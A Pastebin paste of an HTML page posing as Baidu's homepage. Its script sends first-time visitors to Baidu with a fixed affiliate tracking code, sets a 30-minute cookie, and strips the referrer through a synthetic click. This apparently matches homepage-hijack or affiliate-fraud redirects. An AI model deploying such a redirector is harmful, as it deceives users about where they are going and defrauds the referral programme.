Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <META HTTP-EQUIV="Pragma" CONTENT="no-cache">
- <META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
- <META HTTP-EQUIV="Expires" CONTENT="0">
- <title>百度一下,你就知道</title>
- </head>
- <body>
- <script>
- (function(d){
- function isCkie(){
- var isSupport=false;
- if(typeof(navigator.cookieEnabled)!='undefined'){
- isSupport=navigator.cookieEnabled;
- }
- return isSupport;
- }
- //Cookie相关函数
- var sCkie=new function(){
- //过期时间
- this.expTime=function(millisecond){if(millisecond.length==0){millisecond=0};var exp=new Date();exp.setTime(exp.getTime()+parseInt(millisecond));return exp.toGMTString();};
- //创建cookie
- this.add=function(name,value,expires,path,domain,secure){d.cookie=name+"="+encodeURI(value)+(expires?(';expires='+expires):'')+(path?(';path='+path):'')+(domain?(';domain='+domain):'')+((secure)?';secure':'');};
- //删除cookie
- //this.del=function(name,path,domain){if(getCookie(name)){document.cookie=name+"="+((path)?(";path="+path):'')+((domain)?(";domain="+domain):'')+";expires=Mon,01-Jan-2006 00:00:01 GMT";}};
- //获取cookie
- this.get=function(name){var arg=name+"=";var alen=arg.length;var theCookie=''+d.cookie;var inCookieSite=theCookie.indexOf(arg);if(inCookieSite==-1||name==""){return '';}var begin=inCookieSite+alen;var end=theCookie.indexOf(';',begin);if(end==-1){end=theCookie.length;}return decodeURI(theCookie.substring(begin,end));};
- };
- var gUrl;
- if(isCkie()){
- var ckie=0;
- var sid='lpvt_f6461a705844d7177814f8a1aa45aaa5';
- var skie=sCkie.get(sid);
- if (skie!='')
- {
- ckie=parseInt(skie);
- }
- if(ckie<1){
- var rand=Math.random();
- if(rand<1.8){
- gUrl="https://www.baidu.com/?tn=98012088_3_dg&ch=13";
- }else{
- gUrl="https://www.baidu.com/";
- }
- sCkie.add(sid,'1',sCkie.expTime(30*60*1000),0,0,0);
- }else{
- gUrl="https://www.baidu.com/";
- }
- }else{
- gUrl="https://www.baidu.com/";
- }
- (function(u){if(window.navigate&&typeof navigate=='function')navigate(u);var ua=navigator.userAgent;if(ua.match(/applewebkit/i)){var h = document.createElement('a');h.rel='noreferrer';h.href=u;document.body.appendChild(h);var evt=document.createEvent('MouseEvents');evt.initEvent('click', true,true);h.dispatchEvent(evt);}else{document.write('<meta http-equiv="Refresh" Content="0; Url='+u+'" >');}})(gUrl);
- })(document);
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement